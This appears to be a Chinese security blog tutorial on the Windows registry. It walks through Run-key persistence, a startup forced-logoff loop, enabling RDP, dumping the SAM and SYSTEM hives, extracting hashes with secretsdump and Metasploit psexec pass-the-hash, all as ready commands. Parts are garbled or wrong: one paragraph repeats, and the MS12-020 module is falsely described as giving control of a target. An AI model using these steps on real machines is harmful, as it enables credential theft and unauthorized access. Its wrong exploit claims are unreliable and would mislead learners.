无锡网站排名系统,苏州it外包服务,网站建设费属于广宣费吗,科技网站有哪些reg注册表研究与物理Hack
声明#xff1a;内容的只是方便各位师傅学习知识#xff0c;以下网站只涉及学习内容#xff0c;其他的都与本人无关#xff0c;切莫逾越法律红线#xff0c;否则后果自负。 目录 reg注册表研究与物理HackWindows注册表修改注册表实现应用程序开机…reg注册表研究与物理Hack
声明内容的只是方便各位师傅学习知识以下网站只涉及学习内容其他的都与本人无关切莫逾越法律红线否则后果自负。 目录 reg注册表研究与物理HackWindows注册表修改注册表实现应用程序开机自启动修改注册表实现用户注销将这个bat丢到自启动里进行无限循环注销操作 物理HACK修改注册表实现服务开启-(RDP远程桌面为例)使用reg命令获取SYSTEM和SAM的敏感信息拿到用户名和哈希密码在kali中将system、sam文件进行哈希提取MSF使用哈希密码对开启RDP的机器进行连接 Windows注册表 简介 注册表是windows系统中具有层次结构的核心数据库存储的是数据对Windows上运行的应用程序和服务至关重要。注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件。 开启 注册表编辑器 WINR 输入– regedit 也可以在cmd命令行中使用reg进行注册表操作
REG Operation [Parameter List] Operation [ QUERY | ADD | DELETE | COPY | SAVE | LOAD | UNLOAD | RESTORE | COMPARE | EXPORT | IMPORT | FLAGS ]
返回代码: (除了 REG COMPARE)
0 - 成功 1 - 失败
要得到有关某个操作的帮助请键入: REG Operation /?
例如: REG QUERY /? REG ADD /? REG DELETE /? REG COPY /? REG SAVE /? REG RESTORE /? REG LOAD /? REG UNLOAD /? REG COMPARE /? REG EXPORT /? REG IMPORT /? REG FLAGS /?翻译
注册表位置
windows 注册表的位置C:\Windows\System32\config
注册表结构注册表中所有的数据都是通过一种树状结构以键和子键的方式组织起来的就像磁盘文件系统的目录结构一样。每个键包含一组特定的信息每个键的键名都是和它所包含的信息相关联的。注册表的根键共有5个且全为大写
键值 与 类型
键值由三部分组成 名称、类型、数据
键值类型由常用的6种组成
字符串值REG_SZ
二进制值REG_BINARY
32位值4个字节REG_DWORD
64位值5个字节REG_QWORD
多字符串值REG_MULTI_SZ
可扩充字符串值REG_EXPAND_SZ
修改注册表实现应用程序开机自启动
windows 提供了专门的开机自启动注册表。每次开启时它都会在这个注册表键下遍历键值获取到键值中的程序路径并创建进程启动程序。因此只需要将需要设置自启动的程序的路径添加到这个注册表中便可以实现程序开启自启动功能。
常见的开机自启动注册表路径
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 注意要修改HKEY_LOCAL_MACHINE 主键的注册表需要管理员权限
reg命令实现
一个bat脚本的路径是C:\Scripts\MyScript.bat
echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MyScript /t REG_SZ /d C:\Scripts\MyScript.batecho off这行命令用于关闭命令提示符窗口中的命令回显。这样在运行批处理文件时命令本身不会在窗口中显示只显示命令的结果。reg add这是用于添加注册表项的主要命令。HKCU\Software\Microsoft\Windows\CurrentVersion\Run这是要添加的注册表键的路径HKCU代表HKEY_CURRENT_USER表示当前用户的注册表配置单元。/v MyScript/v参数用于指定要添加或修改的注册表值的名称。在这里MyScript是自定义的值名称可以根据需要修改。/t REG_SZ/t参数用于指定注册表值的数据类型。REG_SZ表示这是一个以空字符结尾的字符串通常用于存储文本信息如文件路径等。/d C:\Scripts\MyScript.bat/d参数用于指定注册表值的数据。在这里就是批处理文件的完整路径。
修改注册表实现用户注销将这个bat丢到自启动里进行无限循环注销操作 reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer” /v “ForceLogoff” /t REG_DWORD /d 1 /f reg add这是用于添加注册表项的命令。HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer这是要添加或修改的注册表键的路径。/v ForceLogoff/v参数用于指定要添加或修改的注册表值的名称。这里的ForceLogoff是我们设置的用于强制注销的键值名称。/t REG_DWORD/t参数用于指定注册表值的数据类型。REG_DWORD是双字节数据类型通常用于存储整数等数据这里用于存储注销相关的设置。/d 1/d参数用于指定注册表值的数据。将ForceLogoff的值设置为1表示启用强制注销功能。/f这个参数表示强制写入即使目标注册表项已经存在也会进行修改。
触发注销操作
在修改上述注册表项后注销操作并不会立即自动执行。可以通过以下几种方式来触发注销 重新启动Explorer.exe进程在任务管理器中找到Explorer.exe进程右键单击它并选择 “结束任务”。然后在任务管理器的 “文件” 菜单中选择 “新建任务运行…”在输入框中输入 “Explorer.exe” 并回车这样会重新加载Explorer.exe系统可能会根据注册表设置进行注销操作。
当然必须有在命令行执行
taskkill /f /im Explorer.exe – 进程终止
start explorer.exe – 进程启动
这两个命令就完成了explorer.exe 进程的重启操作 物理HACK
修改注册表实现服务开启-(RDP远程桌面为例)
可以先检查一下rdp的服务状态在cmd命令行中 sc query termservice 使用reg开启RDP服务 reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add这是用于添加或修改注册表项的命令。 HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server这是注册表中的路径HKLM代表HKEY_LOCAL_MACHINE这是系统级别的注册表配置单元其中包含了系统范围的配置信息。 /v fDenyTSConnections/v表示指定要修改的注册表值的名称。fDenyTSConnections这个值用于控制是否允许远程桌面连接。当它的值为0时表示允许连接当它的值为1时表示禁止连接。 /t REG_DWORD/t表示指定数据类型REG_DWORD是双字节数据类型用于存储整数等数据。 /d 0/d表示指定要设置的数据。这里将fDenyTSConnections的值设置为0即允许远程桌面连接。 /f这个参数表示强制写入即使目标注册表项已经存在也会进行修改。
使用reg命令获取SYSTEM和SAM的敏感信息拿到用户名和哈希密码
reg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savesave是备份命令将两个注册表文件数据进行备份获取
在kali中将system、sam文件进行哈希提取
使用impacket 库来提取哈希值
impacket-secretsdump -sam sam.save -system system.save LOCAL这条命令主要用于从 Windows 系统的关键注册表文件SAM和SYSTEM备份中提取敏感信息如用户账户和密码哈希。
impacket - secretsdump impacket是一个功能强大的 Python 库用于网络协议的开发和利用。它提供了一系列工具来处理各种网络协议相关的任务包括与 Windows 系统的交互。secretsdump是impacket库中的一个工具专门用于从 Windows 系统的SAMSecurity Accounts Manager和SYSTEM文件中提取秘密信息主要是用户账户相关的信息如用户名、密码哈希等。 -sam sam.save -sam是secretsdump工具的一个参数用于指定SAM文件的位置。在这里sam.save是SAM文件的文件名意味着命令会从名为sam.save的文件中读取SAM相关的信息。SAM文件存储了 Windows 系统中用户账户和密码以加密形式以及账户相关的安全设置等重要信息。 -system system.save 类似地-system是参数用于指定SYSTEM文件的位置。system.save是文件名这个文件包含了系统配置信息这些信息对于解密SAM文件中的密码哈希等操作是必需的。SYSTEM文件包含了如系统启动配置、设备驱动程序设置等众多系统级别的信息其中一些设置与用户账户的安全策略和密码存储方式相关。 LOCAL LOCAL参数表示操作的目标是本地文件即告诉secretsdump工具SAM和SYSTEM文件是本地存储的不需要通过网络连接到远程系统来获取这些文件。这是在已经获取到本地文件副本后进行离线分析的一种方式。
MSF使用哈希密码对开启RDP的机器进行连接
前提条件准备 目标机器要求目标机器需要开启 3389 端口RDP 服务端口。并且你需要获取目标机器的合法登录凭证如用户名和密码或者 NTLM 哈希。Metasploit 环境搭建你需要在自己的攻击机器上正确安装和配置 Metasploit Framework。确保 MSF 能够正常运行并且你的网络设置允许向外发起连接请求。 使用 psexec 模块进行 RDP 连接相关操作通过用户名 / 密码或者哈希 加载模块在 MSF 终端中输入命令use exploit/windows/smb/psexec来加载 psexec 模块。这个模块利用 Windows 的 SMB服务器消息块协议来在目标机器上执行命令进而有可能建立 RDP 连接。设置参数 目标主机参数RHOST使用命令set RHOST 目标机器IP地址来指定目标机器的 IP 地址。例如如果目标机器的 IP 是 192.168.1.100那么就输入set RHOST 192.168.1.100。登录凭证参数 用户名和密码方式如果知道目标机器的用户名和密码使用命令set SMBUser 用户名和set SMBPass 密码来设置登录凭证。例如set SMBUser administrator和set SMBPass password123。哈希方式如果有目标机器的 NTLM 哈希使用命令set SMBHash 哈希值来设置。例如set SMBHash aad3b435b51404eeaad3b435b51404ee:1234567890abcdef这只是一个示例哈希格式。 本地监听参数LHOST设置你的本地 IP 地址攻击机器 IP用于接收来自目标机器的连接信息。使用命令set LHOST 本地IP地址。例如set LHOST 192.168.1.200。 执行攻击在设置好所有参数后输入命令exploit来尝试执行攻击。如果成功会在目标机器上建立一个会话通过这个会话可以进一步尝试进行 RDP 连接相关的操作如使用命令shell来打开一个类似命令提示符的窗口在其中可以输入命令来操作目标机器包括启动 RDP 客户端等操作。 利用 RDP 漏洞模块进行连接如果目标存在相关漏洞 扫描 RDP 漏洞在尝试利用漏洞连接之前最好先使用 MSF 的辅助模块如auxiliary/scanner/rdp/rdp_scanner来扫描目标机器是否存在 RDP 相关漏洞。加载这个模块后设置目标机器的 IP 范围set RHOSTS然后执行exploit来进行扫描。利用漏洞模块 加载模块如果扫描发现目标机器存在相关 RDP 漏洞比如 MS12 - 020 漏洞可以使用命令use exploit/windows/rdp/ms12 - 020_maxchannelids来加载这个漏洞利用模块。设置参数如同 psexec 模块一样设置目标主机RHOST、本地监听LHOST等参数。 如果扫描发现目标机器存在相关 RDP 漏洞比如 MS12 - 020 漏洞可以使用命令use exploit/windows/rdp/ms12 - 020_maxchannelids来加载这个漏洞利用模块。设置参数如同 psexec 模块一样设置目标主机RHOST、本地监听LHOST等参数。执行攻击输入exploit命令来尝试利用漏洞在目标机器上建立会话进而实现对目标机器的控制包括进行 RDP 连接相关操作。
